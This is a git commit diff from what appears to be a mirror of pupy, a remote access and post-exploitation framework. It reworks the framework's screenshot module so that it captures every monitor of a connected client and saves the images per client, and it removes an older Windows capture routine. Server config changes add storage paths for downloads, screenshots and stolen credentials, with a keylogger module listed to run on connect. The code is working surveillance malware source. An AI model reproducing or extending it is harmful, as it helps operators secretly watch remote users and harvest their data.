mirror of https://github.com/n1nj4sec/pupy.git
Use MSS for screenshots (works on Linux/Mac/Win)
This commit is contained in:
parent
777d5a71d2
commit
f16f65b66f
|
@ -31,17 +31,17 @@
|
|||
# --------------------------------------------------------------
|
||||
|
||||
from pupylib.PupyModule import *
|
||||
from pupylib.PupyConfig import PupyConfig
|
||||
from os import path
|
||||
|
||||
import time
|
||||
import datetime
|
||||
import subprocess
|
||||
|
||||
__class_name__="screenshoter"
|
||||
__class_name__="Screenshoter"
|
||||
|
||||
|
||||
@config(cat="gather")
|
||||
class screenshoter(PupyModule):
|
||||
class Screenshoter(PupyModule):
|
||||
""" take a screenshot :) """
|
||||
|
||||
dependencies = ['mss', 'screenshot']
|
||||
|
@ -66,20 +66,21 @@ class screenshoter(PupyModule):
|
|||
'({}x{})'.format(screen['top'], screen['left'])))
|
||||
return
|
||||
|
||||
config = PupyConfig()
|
||||
folder = config.get_folder('screenshots', {'%c': self.client.short_name()})
|
||||
|
||||
screenshots, error = rscreenshot.screenshot(args.screen)
|
||||
if not screenshots:
|
||||
self.error(error)
|
||||
else:
|
||||
self.success('number of monitor detected: %s' % str(len(screenshots)))
|
||||
|
||||
for screenshot in screenshots:
|
||||
filepath = path.join("data","screenshots","scr_"+self.client.short_name()+"_"+str(datetime.datetime.now()).replace(" ","_").replace(":","-")+".png")
|
||||
for i, screenshot in enumerate(screenshots):
|
||||
filepath = path.join(folder, str(datetime.datetime.now()).replace(" ","_").replace(":","-")+'-'+str(i)+".png")
|
||||
with open(filepath, 'w') as out:
|
||||
out.write(screenshot)
|
||||
# sleep used to be sure the file name will be different between 2 differents screenshots
|
||||
time.sleep(1)
|
||||
self.success(filepath)
|
||||
|
||||
# if args.view:
|
||||
# viewer = config.get('default_viewers', 'image_viewer')
|
||||
# subprocess.Popen([viewer, output])
|
||||
if args.view:
|
||||
viewer = config.get('default_viewers', 'image_viewer')
|
||||
subprocess.Popen([viewer, filepath])
|
||||
|
|
|
@ -5,7 +5,6 @@ import struct
|
|||
from zlib import compress, crc32
|
||||
|
||||
def _to_png(data, width, height):
|
||||
|
||||
# From MSS
|
||||
line = width * 3
|
||||
png_filter = struct.pack('>B', 0)
|
||||
|
|
|
@ -1,145 +0,0 @@
|
|||
#code from http://tiger-222.fr/?d=2013/08/05/21/35/31-windows-capture-decran
|
||||
|
||||
from ctypes import (
|
||||
byref, memset, pointer, sizeof, windll,
|
||||
c_void_p as LPRECT,
|
||||
c_void_p as LPVOID,
|
||||
create_string_buffer,
|
||||
Structure,
|
||||
POINTER,
|
||||
WINFUNCTYPE,
|
||||
)
|
||||
import ctypes.wintypes
|
||||
from ctypes.wintypes import (
|
||||
BOOL, DOUBLE, DWORD, HANDLE, HBITMAP, HDC, HGDIOBJ,
|
||||
HWND, INT, LPARAM, LONG,RECT,SHORT, UINT, WORD
|
||||
)
|
||||
|
||||
class BITMAPINFOHEADER(Structure):
|
||||
_fields_ = [
|
||||
('biSize', DWORD),
|
||||
('biWidth', LONG),
|
||||
('biHeight', LONG),
|
||||
('biPlanes', WORD),
|
||||
('biBitCount', WORD),
|
||||
('biCompression', DWORD),
|
||||
('biSizeImage', DWORD),
|
||||
('biXPelsPerMeter', LONG),
|
||||
('biYPelsPerMeter', LONG),
|
||||
('biClrUsed', DWORD),
|
||||
('biClrImportant', DWORD)
|
||||
]
|
||||
|
||||
class BITMAPINFO(Structure):
|
||||
_fields_ = [
|
||||
('bmiHeader', BITMAPINFOHEADER),
|
||||
('bmiColors', DWORD * 3)
|
||||
]
|
||||
|
||||
|
||||
# Initilisations
|
||||
SM_XVIRTUALSCREEN = 76 # Coordonnée gauche *
|
||||
SM_YVIRTUALSCREEN = 77 # Coordonnée haute *
|
||||
SM_CXVIRTUALSCREEN = 78 # Largeur *
|
||||
SM_CYVIRTUALSCREEN = 79 # Hauteur *
|
||||
SRCCOPY = 0xCC0020 # Code de copie pour la fonction BitBlt()
|
||||
DIB_RGB_COLORS = 0
|
||||
|
||||
GetSystemMetrics = windll.user32.GetSystemMetrics
|
||||
EnumDisplayMonitors = windll.user32.EnumDisplayMonitors
|
||||
GetWindowDC = windll.user32.GetWindowDC
|
||||
CreateCompatibleDC = windll.gdi32.CreateCompatibleDC
|
||||
CreateCompatibleBitmap = windll.gdi32.CreateCompatibleBitmap
|
||||
SelectObject = windll.gdi32.SelectObject
|
||||
BitBlt = windll.gdi32.BitBlt
|
||||
GetDIBits = windll.gdi32.GetDIBits
|
||||
DeleteObject = windll.gdi32.DeleteObject
|
||||
|
||||
|
||||
# Type des arguments
|
||||
MONITORENUMPROC = WINFUNCTYPE(INT, DWORD, DWORD,
|
||||
POINTER(RECT), DOUBLE)
|
||||
GetSystemMetrics.argtypes = [INT]
|
||||
EnumDisplayMonitors.argtypes = [HDC, LPRECT, MONITORENUMPROC, LPARAM]
|
||||
GetWindowDC.argtypes = [HWND]
|
||||
CreateCompatibleDC.argtypes = [HDC]
|
||||
CreateCompatibleBitmap.argtypes = [HDC, INT, INT]
|
||||
SelectObject.argtypes = [HDC, HGDIOBJ]
|
||||
BitBlt.argtypes = [HDC, INT, INT, INT, INT, HDC, INT, INT, DWORD]
|
||||
DeleteObject.argtypes = [HGDIOBJ]
|
||||
GetDIBits.argtypes = [HDC, HBITMAP, UINT, UINT, LPVOID,
|
||||
POINTER(BITMAPINFO), UINT]
|
||||
|
||||
|
||||
# Type de fonction
|
||||
GetSystemMetrics.restypes = INT
|
||||
EnumDisplayMonitors.restypes = BOOL
|
||||
GetWindowDC.restypes = HDC
|
||||
CreateCompatibleDC.restypes = HDC
|
||||
CreateCompatibleBitmap.restypes = HBITMAP
|
||||
SelectObject.restypes = HGDIOBJ
|
||||
BitBlt.restypes = BOOL
|
||||
GetDIBits.restypes = INT
|
||||
DeleteObject.restypes = BOOL
|
||||
|
||||
|
||||
def enum_display_monitors(oneshot=False):
|
||||
|
||||
def _callback(monitor, dc, rect, data):
|
||||
rct = rect.contents
|
||||
results.append({
|
||||
b'left' : int(rct.left),
|
||||
b'top' : int(rct.top),
|
||||
b'width' : int(rct.right - rct.left),
|
||||
b'height': int(rct.bottom -rct.top)
|
||||
})
|
||||
return 1
|
||||
|
||||
results = []
|
||||
if oneshot:
|
||||
left = GetSystemMetrics(SM_XVIRTUALSCREEN)
|
||||
right = GetSystemMetrics(SM_CXVIRTUALSCREEN)
|
||||
top = GetSystemMetrics(SM_YVIRTUALSCREEN)
|
||||
bottom = GetSystemMetrics(SM_CYVIRTUALSCREEN)
|
||||
results.append({
|
||||
b'left' : int(left),
|
||||
b'top' : int(top),
|
||||
b'width' : int(right - left),
|
||||
b'height': int(bottom - top)
|
||||
})
|
||||
else:
|
||||
callback = MONITORENUMPROC(_callback)
|
||||
EnumDisplayMonitors(0, 0, callback, 0)
|
||||
return results
|
||||
|
||||
|
||||
def get_pixels(monitor):
|
||||
|
||||
width, height = monitor['width'], monitor['height']
|
||||
left, top = monitor['left'], monitor['top']
|
||||
|
||||
srcdc = GetWindowDC(0)
|
||||
memdc = CreateCompatibleDC(srcdc)
|
||||
bmp = CreateCompatibleBitmap(srcdc, width, height)
|
||||
try:
|
||||
SelectObject(memdc, bmp)
|
||||
BitBlt(memdc, 0, 0, width, height, srcdc, left, top, SRCCOPY)
|
||||
bmi = BITMAPINFO()
|
||||
bmi.bmiHeader.biSize = sizeof(BITMAPINFOHEADER)
|
||||
bmi.bmiHeader.biWidth = width
|
||||
bmi.bmiHeader.biHeight = height
|
||||
bmi.bmiHeader.biBitCount = 24
|
||||
bmi.bmiHeader.biPlanes = 1
|
||||
buffer_len = height * ((width * 3 + 3) & -4)
|
||||
pixels = create_string_buffer(buffer_len)
|
||||
bits = GetDIBits(memdc, bmp, 0, height, byref(pixels),
|
||||
pointer(bmi), DIB_RGB_COLORS)
|
||||
finally:
|
||||
DeleteObject(srcdc)
|
||||
DeleteObject(memdc)
|
||||
DeleteObject(bmp)
|
||||
|
||||
if bits != height or len(pixels.raw) != buffer_len:
|
||||
raise ValueError('MSSWindows: GetDIBits() failed.')
|
||||
|
||||
return pixels.raw
|
|
@ -4,8 +4,6 @@
|
|||
transport = ssl
|
||||
port = 443
|
||||
ipv6 = true
|
||||
keyfile = crypto/server.pem
|
||||
certfile = crypto/cert.pem
|
||||
|
||||
[cmdline]
|
||||
display_banner = yes
|
||||
|
@ -13,7 +11,9 @@ colors = yes
|
|||
|
||||
[paths]
|
||||
prefer_workdir = no
|
||||
# downloads = /tmp/downloads/%
|
||||
downloads = data/downloads/%c
|
||||
screenshots = data/screenshots/%c
|
||||
creds = data/db/%c
|
||||
|
||||
[on_connect]
|
||||
#run_module = gather/keylogger start
|
||||
|
|
|
@ -12,3 +12,4 @@ netifaces
|
|||
mss
|
||||
m2crypto
|
||||
pylzma
|
||||
mss
|
||||
|
|
Loading…
Reference in New Issue